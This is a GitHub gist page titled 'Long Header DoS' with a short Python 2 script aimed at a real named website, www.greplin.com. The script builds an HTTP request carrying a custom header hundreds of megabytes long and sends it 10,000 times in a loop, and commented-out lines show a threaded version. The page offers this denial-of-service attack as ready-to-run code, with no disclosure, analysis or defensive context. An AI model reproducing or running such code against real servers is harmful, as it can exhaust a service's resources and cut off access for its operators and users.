Skip to content

Instantly share code, notes, and snippets.

@mopemope
Created February 16, 2011 04:02
Show Gist options
  • Save mopemope/828845 to your computer and use it in GitHub Desktop.
Save mopemope/828845 to your computer and use it in GitHub Desktop.
Long Header DoS
import httplib, urllib
import threading
def long_header_dos():
print "start "
params = urllib.urlencode({'spam': "1" * 1 })
headers = {
"Host": "www.greplin.com",
"User-Agent": "Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.2.7) Gecko/20100715 Ubuntu/10.04 (lucid) Firefox/3.6.7",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "ja,en-us;q=0.7,en;q=0.3",
"Accept-Encoding": "gzip,deflate",
"Accept-Charset": "Shift_JIS,utf-8;q=0.7,*;q=0.7",
"Keep-Alive": "115",
"Connection": "keep-alive",
"Cache-Control": "max-age=0",
"X-Hacker": "greplin is good!!" * 1024 * 1024 * 32,
}
conn = httplib.HTTPConnection("www.greplin.com")
conn.request("GET", "/", params, headers)
response = conn.getresponse()
print response.read()
#print response.status
import time
class Runner(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
def run(self):
self.test()
#time.sleep(1)
def test(self):
long_header_dos()
for i in xrange(10000):
#r = Runner()
#r.start()
#time.sleep(1)
long_header_dos()
#r.join()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment